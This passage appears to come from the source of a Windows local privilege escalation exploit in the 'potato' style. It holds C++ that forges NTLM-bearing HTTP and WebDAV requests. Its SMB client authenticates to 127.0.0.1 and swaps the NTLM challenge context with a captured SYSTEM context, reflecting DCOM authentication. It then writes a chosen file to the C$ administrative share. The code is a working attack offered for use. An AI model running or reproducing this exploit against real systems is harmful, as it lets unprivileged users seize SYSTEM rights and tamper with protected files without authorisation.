227 | *b64Len = DEFAULT_BUFLEN;
228 | char* b64Text = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *b64Len);
229 | if (!CryptBinaryToStringA((const BYTE*)text, textLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64Text, (DWORD*)b64Len)) {
230 | printf("CryptBinaryToStringA failed with error code %d", GetLastError());
231 | HeapFree(GetProcessHeap(), 0, b64Text);
232 | b64Text = NULL;
233 | exit(-1);
234 | }
235 | return b64Text;
236 | }
237 |
238 | char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen) {
239 | *bufferLen = DEFAULT_BUFLEN;
240 | char* buffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *bufferLen);
241 | if (!CryptStringToBinaryA((LPCSTR)b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) {
242 | printf("CryptStringToBinaryA failed with error code %d", GetLastError());
243 | HeapFree(GetProcessHeap(), 0, buffer);
244 | buffer = NULL;
245 | exit(-1);
246 | }
247 | return buffer;
248 | }
249 |
250 | int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len) {
251 | char pattern_head[] = { 'N', 'T', 'L', 'M', ' ' };
252 | char pattern_tail[2] = { 0x0D, 0x0A }; // \r\n
253 | int index_start = 0;
254 | for (int i = 0; i < buffer_len; i++) {
255 | }
256 | for (int i = 0; i < buffer_len; i++) {
257 | if (buffer[i] == pattern_head[index_start]) {
258 | index_start = index_start + 1;
259 | if (index_start == sizeof(pattern_head)) {
260 | index_start = i + 1;
261 | break;
262 | }
263 | }
264 | }
265 | *outbuffer_len = 0;
266 | for (int i = index_start; i < buffer_len; i++) {
267 | if (buffer[i] == pattern_tail[0] && buffer[i + 1] == pattern_tail[1]) {
268 | break;
269 | }
270 | outbuffer[(*outbuffer_len)] = buffer[i];
271 | *outbuffer_len = (*outbuffer_len) + 1;
272 | }
273 | return 0;
274 | }
275 |
276 | char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
277 | char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";
278 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
279 | int b64ntlmLen;
280 | char httpIp_a[20];
281 | char httpUrlPage_a[1024];
282 | memset(httpIp_a, 0, 20);
283 | memset(httpUrlPage_a, 0, 1024);
284 | wcstombs(httpIp_a, httpIp, 20);
285 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
286 | char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen);
287 | char b64ntlm[DEFAULT_BUFLEN];
288 | memset(b64ntlm, 0, DEFAULT_BUFLEN);
289 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
290 | *httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
291 | return httpPacket;
292 | }
293 |
294 | char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage) {
295 | char httpPacketTemplate[] = "PROPFIND %s HTTP/1.1\r\nHost: %s\r\n\r\n";
296 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
297 | int b64ntlmLen;
298 | char httpIp_a[20];
299 | char httpUrlPage_a[1024];
300 | memset(httpIp_a, 0, 20);
301 | memset(httpUrlPage_a, 0, 1024);
302 | wcstombs(httpIp_a, httpIp, 20);
303 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
304 | *l=sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
305 | return httpPacket;
306 | }
307 |
308 | char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
309 | char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
310 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
311 | int b64ntlmLen;
312 | char httpIp_a[20];
313 | char httpUrlPage_a[1024];
314 | memset(httpIp_a, 0, 20);
315 | memset(httpUrlPage_a, 0, 1024);
316 | wcstombs(httpIp_a, httpIp, 20);
317 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
318 | char* b64ntlmTmp = base64Encode(ntlmsspType1, ntlmsspType1Len, &b64ntlmLen);
319 | char b64ntlm[DEFAULT_BUFLEN];
320 | memset(b64ntlm, 0, DEFAULT_BUFLEN);
321 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
322 | *httpPacketType1Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
323 | return httpPacket;
324 | }
325 |
326 | void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len) {
327 | char b64Type2[DEFAULT_BUFLEN];
328 | int b64Type2Len = 0;
329 | findBase64NTLM(httpPacket, httpPacketLen, b64Type2, &b64Type2Len);
330 | printf("b64type=%s\n", b64Type2);
331 | char* decodedType2Tmp = base64Decode(b64Type2, b64Type2Len, ntlmType2Len);
332 | printf("decodes=%s\n", decodedType2Tmp);
333 | memset(ntlmType2, 0, DEFAULT_BUFLEN);
334 | memcpy(ntlmType2, decodedType2Tmp, *ntlmType2Len);
335 | printf("decodes=%s\n", ntlmType2);
336 | }
337 |
338 | char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
339 | char httpPacketTemplate[] = "HEAD %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
340 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
341 | int b64ntlmLen;
342 | char httpIp_a[20];
343 | char httpUrlPage_a[1024];
344 | memset(httpIp_a, 0, 20);
345 | memset(httpUrlPage_a, 0, 1024);
346 | wcstombs(httpIp_a, httpIp, 20);
347 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
348 | char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen);
349 | char b64ntlm[DEFAULT_BUFLEN];
350 | memset(b64ntlm, 0, DEFAULT_BUFLEN);
351 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
352 | *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
353 | return httpPacket;
354 | }
355 | char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage) {
356 | char httpPacketTemplate[] = "GET %s HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\nConnection: Keep-Alive\r\n\r\n";
357 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
358 | int b64ntlmLen;
359 | char httpIp_a[20];
360 | char httpUrlPage_a[1024];
361 | memset(httpIp_a, 0, 20);
362 | memset(httpUrlPage_a, 0, 1024);
363 | wcstombs(httpIp_a, httpIp, 20);
364 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
365 | char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen);
366 | char b64ntlm[DEFAULT_BUFLEN];
367 | memset(b64ntlm, 0, DEFAULT_BUFLEN);
368 | memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
369 | *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a, b64ntlm);
370 | return httpPacket;
371 | }
372 |
373 | char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) {
374 | char httpPacketTemplate[] = "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes";
375 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
376 | int b64ntlmLen;
377 | char httpIp_a[20];
378 | char httpUrlPage_a[1024];
379 | memset(httpIp_a, 0, 20);
380 | memset(httpUrlPage_a, 0, 1024);
381 | wcstombs(httpIp_a, httpIp, 20);
382 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
383 | *l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
384 | return httpPacket;
385 | }
386 | char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage) {
387 | char httpPacketTemplate[] = "PROPPATCH %s HTTP/1.1\r\nHost: %s\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\n\r\nwe always love potatoes";
388 | char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
389 | int b64ntlmLen;
390 | char httpIp_a[20];
391 | char httpUrlPage_a[1024];
392 | memset(httpIp_a, 0, 20);
393 | memset(httpUrlPage_a, 0, 1024);
394 | wcstombs(httpIp_a, httpIp, 20);
395 | wcstombs(httpUrlPage_a, httpUrlPage, 1024);
396 | *l = sprintf(httpPacket, httpPacketTemplate, httpUrlPage_a, httpIp_a);
397 | return httpPacket;
398 | }
399 |
--------------------------------------------------------------------------------
/SMBClient.cpp:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 | #pragma comment(lib, "Secur32.lib")
3 | #pragma comment(lib, "Ws2_32.lib")
4 | #pragma warning(disable:4996)
5 |
6 | #include "windows.h"
7 | #include "stdio.h"
8 | #include "winsock.h"
9 | #include "sspi.h"
10 | #include "SMBClient.h"
11 |
12 | #define CHUNK_SIZE 10000
13 |
14 | // global vars
15 | extern wchar_t* destfname;
16 | extern wchar_t* inputfname;
17 | extern HANDLE event1;
18 | extern HANDLE event2;
19 | extern HANDLE event3;
20 | extern char SystemContext[];
21 | extern char UserContext[];
22 |
23 | BOOL DoAuthenticatedFileWriteSMB(SOCKET s, wchar_t*, wchar_t*, wchar_t*);
24 | SOCKET ConnectSocket(const wchar_t* ipAddress, int port);
25 | BOOL GenClientContext(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText);
26 | int findNTLMBytes(char* bytes, int len);
27 | BOOL SMBNegoProtocol(SOCKET s, char* recBuffer);
28 | BOOL SMB2NegoProtocol(SOCKET s, char* recBuffer);
29 | BOOL SMB2DoAuthentication(SOCKET s, char* recBuffer, int& MessageID);
30 | BOOL SMB2AuthNtlmType1(SOCKET s, char* recBuffer, int& MessageID, int* recBufferLen, CredHandle* hCred, struct _SecHandle* hcText);
31 | BOOL SMB2AuthNtlmType3(SOCKET s, char* recBuffer, int& MessageID, int recBufferLen, CredHandle* hCred, struct _SecHandle* hcText);
32 | BOOL SMB2TreeConnect(SOCKET s, char* recBuffer, int& MessageID, wchar_t* path);
33 | BOOL SMB2CreateFileRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* fname);
34 | BOOL SMB2WriteRequest(SOCKET s, char* recBuffer, int& MessageID, wchar_t* infile, wchar_t* fname);
35 | BOOL SMB2CloseFileRequest(SOCKET s, char* recBuffer, int& MessageID);
36 | BOOL SMB2TreeDisconnect(SOCKET s, char* recBuffer, int& MessageID);
37 |
38 | void SMBAuthenticatedFileWrite()
39 | {
40 | SOCKET smbSocket = ConnectSocket(L"127.0.0.1", 445);
41 | DoAuthenticatedFileWriteSMB(smbSocket, (wchar_t*)L"\\\\127.0.0.1\\c$", (wchar_t*)destfname, (wchar_t*)inputfname);
42 | closesocket(smbSocket);
43 | }
44 |
45 |
46 | BOOL DoAuthenticatedFileWriteSMB(SOCKET s, wchar_t* path, wchar_t* fname, wchar_t* infile)
47 | {
48 | BOOL ret = FALSE;
49 | int MessageID = 2;
50 | char recBuffer[DEFAULT_BUFLEN];
51 | SMBNegoProtocol(s, recBuffer);
52 | SMB2NegoProtocol(s, recBuffer);
53 | SMB2DoAuthentication(s, recBuffer, MessageID);
54 | if (!SMB2TreeConnect(s, recBuffer, MessageID, path))
55 | return ret;
56 | SMB2CreateFileRequest(s, recBuffer, MessageID, fname);
57 | if (!SMB2WriteRequest(s, recBuffer, MessageID, infile, fname))
58 | return ret;
59 | SMB2CloseFileRequest(s, recBuffer, MessageID);
60 | ret = SMB2TreeDisconnect(s, recBuffer, MessageID);
61 | return ret;
62 | }
63 |
64 | BOOL GenClientContext(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText)
65 | {
66 | SECURITY_STATUS ss;
67 | TimeStamp Lifetime;
68 | SecBufferDesc OutBuffDesc;
69 | SecBuffer OutSecBuff;
70 | SecBufferDesc InBuffDesc;
71 | SecBuffer InSecBuff;
72 | ULONG ContextAttributes;
73 | static PTCHAR lpPackageName = (PTCHAR)L"NTLM";
74 |
75 | if (NULL == pIn)
76 | {
77 | ss = AcquireCredentialsHandleW(NULL, lpPackageName, SECPKG_CRED_OUTBOUND, (PVOID)0, NULL, NULL, NULL, hCred, &Lifetime);
78 | if (!(SEC_SUCCESS(ss))) {
79 | printf("[!] AcquireCredentialsHandleW failed with error code 0x%x\n", ss);
80 | return FALSE;
81 | }
82 | }
83 | OutBuffDesc.ulVersion = 0;
84 | OutBuffDesc.cBuffers = 1;
85 | OutBuffDesc.pBuffers = &OutSecBuff;
86 | OutSecBuff.cbBuffer = *pcbOut;
87 | OutSecBuff.BufferType = SECBUFFER_TOKEN;
88 | OutSecBuff.pvBuffer = pOut;
89 | if (pIn)
90 | {
91 | InBuffDesc.ulVersion = 0;
92 | InBuffDesc.cBuffers = 1;
93 | InBuffDesc.pBuffers = &InSecBuff;
94 | InSecBuff.cbBuffer = cbIn;
95 | InSecBuff.BufferType = SECBUFFER_TOKEN;
96 | InSecBuff.pvBuffer = pIn;
97 | ss = InitializeSecurityContextW(hCred, hcText, pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
98 | }
99 | else
100 | ss = InitializeSecurityContext(hCred, NULL, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
101 | if (!SEC_SUCCESS(ss))
102 | {
103 | printf("[!] InitializeSecurityContext failed with error code 0x%x\n", ss);
104 | return FALSE;
105 | }
106 | if ((SEC_I_COMPLETE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss))
107 | {
108 | ss = CompleteAuthToken(hcText, &OutBuffDesc);
109 | if (!SEC_SUCCESS(ss))
110 | {
111 | printf("[!] CompleteAuthToken failed with error code 0x%x\n", ss);
112 | return FALSE;
113 | }
114 |
115 | }
116 | *pcbOut = OutSecBuff.cbBuffer;
117 | *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss));
118 | return TRUE;
119 | }
120 |
121 | SOCKET ConnectSocket(const wchar_t* ipAddress, int port) {
122 | char ipAddress_a[20];
123 | char remotePort_a[12];
124 | WSADATA wsaData;
125 | int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
126 | if (iResult != NO_ERROR) {
127 | wprintf(L"WSAStartup function failed with error: %d\n", iResult);
128 | return 1;
129 | }
130 | SOCKET ConnectSocket;
131 | ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
132 | if (ConnectSocket == INVALID_SOCKET) {
133 | wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
134 | WSACleanup();
135 | return 1;
136 | }
137 | memset(remotePort_a, 0, 12);
138 | memset(ipAddress_a, 0, 20);
139 | wcstombs(ipAddress_a, ipAddress, 20);
140 | sockaddr_in clientService;
141 | clientService.sin_family = AF_INET;
142 | clientService.sin_addr.s_addr = inet_addr(ipAddress_a);
143 | clientService.sin_port = htons(port);
144 | iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
145 | if (iResult == SOCKET_ERROR) {
146 | wprintf(L"[!] ConnectSocket: connect function failed with error: %ld\n", WSAGetLastError());
147 | iResult = closesocket(ConnectSocket);
148 | if (iResult == SOCKET_ERROR)
149 | wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
150 | WSACleanup();
151 | return 1;
152 | }
153 | Sleep(1000);
154 | printf("[*] Connected to the SMB server with ip %s and port %d\n", ipAddress_a, port);
155 | return ConnectSocket;
156 | }
157 |
158 | int findNTLMBytes(char* bytes, int len)
159 | {
160 | //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
161 | char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
162 | int pIdx = 0;
163 | int i;
164 | for (i = 0; i < len; i++) {
165 | if (bytes[i] == pattern[pIdx]) {
166 | pIdx = pIdx + 1;
167 | if (pIdx == 7) return (i - 6);
168 | }
169 | else {
170 | pIdx = 0;
171 | }
172 | }
173 | return -1;
174 | }
175 |
176 | BOOL SMBNegoProtocol(SOCKET s, char* recBuffer) {
177 | BOOL ret = TRUE;
178 | myshort slen;
179 | int len = 0, pid = 0;
180 | myshort ms;
181 | char c = 0;
182 |
183 | unsigned char smb_nego_protocol[] = \
184 | "\x00\x00\x00\x45\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x01\x48" \
185 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xac\x7b" \
186 | "\x00\x00\x00\x00\x00\x22\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e" \
187 | "\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e\x30\x30\x32\x00\x02\x53" \
188 | "\x4d\x42\x20\x32\x2e\x3f\x3f\x3f\x00";
189 |
190 | pid = GetCurrentProcessId();
191 | ms.i = pid;
192 | memcpy(&smb_nego_protocol[30], ms.buffer, 2);
193 | memcpy(slen.buffer, &smb_nego_protocol[2], 2);
194 | c = smb_nego_protocol[3];
195 | len = send(s, (char*)smb_nego_protocol, c + 4, 0);
196 | len = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
197 | return ret;
198 | }
199 |
200 | BOOL SMB2NegoProtocol(SOCKET s, char* recBuffer) {
201 | BOOL ret = TRUE;
202 | int len = 0, pid = 0;
203 | char c = 0;
204 | myint mpid;
205 |
206 | unsigned char smb2_nego_protocol[] = \
207 | "\x00\x00\x00\x68\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00" \
208 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \
209 | "\x00\x00\x00\x00\x30\x7e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
210 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
211 | "\x00\x00\x00\x00\x24\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00" \
212 | "\xb3\x2a\x22\x3f\xcf\x5f\x43\x9c\xbb\x55\x8c\x98\x11\xd2\x5f\x1c" \
213 | "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x10\x02\x00";
214 |
215 | pid = GetCurrentProcessId();
216 | mpid.i = pid;
217 | memcpy(&smb2_nego_protocol[36], mpid.buffer, 4);
218 | c = smb2_nego_protocol[3];
219 | len = send(s, (char*)smb2_nego_protocol, c + 4, 0);
220 | len = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
221 | return ret;
222 | }
223 |
224 | BOOL SMB2DoAuthentication(SOCKET s, char* recBuffer, int& MessageID) {
225 | BOOL ret = TRUE;
226 | int recBufferLen = 0;
227 | CredHandle hCred;
228 | struct _SecHandle hcText;
229 |
230 | SMB2AuthNtlmType1(s, recBuffer, MessageID, &recBufferLen, &hCred, &hcText);
231 | SMB2AuthNtlmType3(s, recBuffer, MessageID, recBufferLen, &hCred, &hcText);
232 |
233 | // here we receive the return status of the SMB authentication
234 | unsigned int* ntlmAuthStatus = (unsigned int*)(recBuffer + 12);
235 | if (*ntlmAuthStatus != 0) {
236 | printf("[!] SMB reflected DCOM authentication failed with status code 0x%x\n", *ntlmAuthStatus);
237 | ret = FALSE;
238 | }
239 | else {
240 | printf("[+] SMB reflected DCOM authentication succeeded!\n");
241 | }
242 |
243 | return ret;
244 | }
245 |
246 | BOOL SMB2AuthNtlmType1(SOCKET s, char* recBuffer, int& MessageID, int* recBufferLen, CredHandle* hCred, struct _SecHandle* hcText) {
247 | BOOL ret = TRUE;
248 | usmb2_header s2h;
249 | usmb2_data s2d;
250 | myint mpid;
251 | BYTE pOutBuf[DEFAULT_BUFLEN];
252 | DWORD cbOut = DEFAULT_BUFLEN;
253 | BOOL fDone = FALSE;
254 | int plen = 0;
255 | myshort slen;
256 | myshort datalen;
257 | char netsess[4];
258 | int start = 2;
259 | char OutBuffer[1024];
260 | char finalPacket[DEFAULT_BUFLEN];
261 |
262 | if (!GenClientContext(NULL, 0, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText))
263 | {
264 | return(FALSE);
265 | }
266 |
267 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
268 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
269 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
270 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
271 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
272 | memcpy(&s2h.smb2_header.Command[0], "\x01\x00", 2);
273 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
274 | memcpy(&s2h.smb2_header.Flags[0], "\x00\x00\x00\x00", 4);
275 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
276 | s2h.smb2_header.MessageID = MessageID++;
277 | mpid.i = GetCurrentProcessId();
278 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
279 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4);
280 | memcpy(&s2h.smb2_header.SessionID[0], "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
281 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
282 |
283 | datalen.i = cbOut;
284 | memcpy(&s2d.smb2_data.StructureSize, "\x19\x00", 2);
285 | memcpy(&s2d.smb2_data.Flags, "\x00", 1);
286 | memcpy(&s2d.smb2_data.SecurityMode, "\x01", 1);
287 | memcpy(&s2d.smb2_data.Capabilities, "\x07\x00\x00\x00", 4);
288 | memcpy(&s2d.smb2_data.Channel, "\x00\x00\x00\x00", 4);
289 | memcpy(&s2d.smb2_data.SecurityBufferOffset, "\x58\x00", 2);
290 | memcpy(&s2d.smb2_data.SecurityBufferLength, datalen.buffer, 2);
291 | memcpy(&s2d.smb2_data.PreviousSessionID, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
292 |
293 | plen = sizeof(s2h.buffer) + sizeof(s2d.buffer) + cbOut;
294 | datalen.i = plen;
295 | slen.i = plen;
296 |
297 | memset(OutBuffer, 0, sizeof(OutBuffer));
298 |
299 | start = 0;
300 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer));
301 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer));
302 | start += sizeof(s2h.buffer);
303 | memcpy(&OutBuffer[start], s2d.buffer, sizeof(s2d.buffer));
304 | start += sizeof(s2d.buffer);
305 | memcpy(&OutBuffer[start], pOutBuf, cbOut);
306 | start = sizeof(s2h) + sizeof(s2d) + cbOut;
307 | memset(netsess, 0, 4);
308 | netsess[3] = slen.buffer[0];
309 | netsess[2] = slen.buffer[1];
310 |
311 | memcpy(finalPacket, netsess, 4);
312 | memcpy(finalPacket + 4, OutBuffer, start);
313 | send(s, finalPacket, 4 + start, 0);
314 | *recBufferLen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
315 | return ret;
316 | }
317 |
318 | BOOL SMB2AuthNtlmType3(SOCKET s, char* recBuffer, int& MessageID, int recBufferLen, CredHandle* hCred, struct _SecHandle* hcText) {
319 | BOOL ret = TRUE;
320 | usmb2_header s2h;
321 | usmb2_data s2d;
322 | myint mpid;
323 | BYTE pOutBuf[DEFAULT_BUFLEN];
324 | DWORD cbOut = DEFAULT_BUFLEN;
325 | BOOL fDone = FALSE;
326 | int plen = 0;
327 | myshort slen;
328 | myshort datalen;
329 | char netsess[4];
330 | int start = 2;
331 | char ntlmtType2[1024];
332 | char OutBuffer[1024];
333 | unsigned char sessid[8];
334 | int pos = 0;
335 | char finalPacket[DEFAULT_BUFLEN];
336 |
337 | // here we do our magic for the context swapping
338 | pos = findNTLMBytes(recBuffer, recBufferLen);
339 | memcpy(&ntlmtType2[0], &recBuffer[pos], recBufferLen - pos);
340 | if (ntlmtType2[8] == 2)
341 | {
342 | memcpy(UserContext, &ntlmtType2[32], 8);
343 | WaitForSingleObject(event1, INFINITE);
344 | // for local auth reflection we don't really need to relay the entire packet
345 | // swapping the context in the Reserved bytes with the SYSTEM context is enough
346 | memcpy(&ntlmtType2[32], SystemContext, 8);
347 | memcpy(&recBuffer[pos], &ntlmtType2[0], recBufferLen - pos);
348 | printf("[+] SMB Client Auth Context swapped with SYSTEM \n");
349 | }
350 | else {
351 | printf("[!] Authentication over SMB is not using NTLM. Exiting...\n");
352 | return FALSE;
353 | }
354 | if (!GenClientContext((BYTE*)ntlmtType2, recBufferLen - pos, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText))
355 | exit(-1);
356 | SetEvent(event2);
357 | WaitForSingleObject(event3, INFINITE);
358 |
359 | memcpy(&sessid[0], &recBuffer[44], 8);
360 | memcpy(&s2h.smb2_header.ProtocolID, "\xfe\x53\x4d\x42", 4);
361 | memcpy(&s2h.smb2_header.CreditCharge, "\01\00", 2);
362 | memcpy(&s2h.smb2_header.StructureSize, "\x40\x00", 2);
363 | memcpy(&s2h.smb2_header.ChannelSequence[0], "\x00\x00", 2);
364 | memcpy(&s2h.smb2_header.Reserved[0], "\x00\x00", 2);
365 | memcpy(&s2h.smb2_header.Command[0], "\x01\x00", 2);
366 | memcpy(&s2h.smb2_header.CreditRequest[0], "\x1f\x00", 2);
367 | memcpy(&s2h.smb2_header.Flags[0], "\x10\x00\x00\x00", 4);
368 | memcpy(&s2h.smb2_header.NextCommand[0], "\x00\x00\x00\x00", 4);
369 | s2h.smb2_header.MessageID = MessageID++;
370 | mpid.i = GetCurrentProcessId();
371 | memcpy(&s2h.smb2_header.ProcessID[0], mpid.buffer, 4);
372 | memcpy(&s2h.smb2_header.TreeID[0], "\x00\x00\x00\x00", 4);
373 | memcpy(&s2h.smb2_header.SessionID[0], sessid, 8);
374 | memcpy(&s2h.smb2_header.Signature[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16);
375 | memcpy(&s2d.smb2_data.StructureSize, "\x19\00", 2);
376 | memcpy(&s2d.smb2_data.Flags, "\00", 1);
377 | memcpy(&s2d.smb2_data.SecurityMode, "\x01", 1);
378 | memcpy(&s2d.smb2_data.Capabilities, "\x07\x00\x00\x00", 4);
379 | memcpy(&s2d.smb2_data.Channel, "\x00\x00\x00\x00", 4);
380 | memcpy(&s2d.smb2_data.SecurityBufferOffset, "\x58\x00", 2);
381 | memcpy(&s2d.smb2_data.PreviousSessionID, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
382 | datalen.i = cbOut;
383 | memcpy(&s2d.smb2_data.SecurityBufferLength, datalen.buffer, 2);
384 | plen = sizeof(s2h.buffer) + sizeof(s2d.buffer) + cbOut;
385 | slen.i = plen;
386 | memcpy(&OutBuffer[0], slen.buffer, 4);
387 | start = 0;
388 | memcpy(&OutBuffer[start], s2h.buffer, sizeof(s2h.buffer));
389 | start += sizeof(s2h.buffer);
390 | memcpy(&OutBuffer[start], s2d.buffer, sizeof(s2d.buffer));
391 | start += sizeof(s2d.buffer);
392 | memcpy(&OutBuffer[start], pOutBuf, cbOut);
393 | start += cbOut;
394 |
395 | memset(netsess, 0, 4);
396 | netsess[3] = slen.buffer[0];
397 | netsess[2] = slen.buffer[1];
398 |
399 | memcpy(finalPacket, netsess, 4);
400 | memcpy(finalPacket + 4, OutBuffer, start);
401 | send(s, finalPacket, 4 + start, 0);
402 | recv(s, recBuffer, DEFAULT_BUFLEN, 0);
403 |
404 | return ret;
405 | }
406 |
407 | BOOL SMB2TreeConnect(SOCKET s, char* recBuffer, int& MessageID, wchar_t* path) {
408 | BOOL ret = TRUE;
409 | myint mpid;
410 | usmb2_header s2h;
411 | u_tree_connect_request_header trh;
412 | unsigned char sessid[8];
413 | char netsess[4];
414 | char finalPacket[DEFAULT_BUFLEN];
415 |
416 | trh.trh.flags = 0;
417 | trh.trh.structured_size = 9;
418 | trh.trh.path_offset = 0x48;
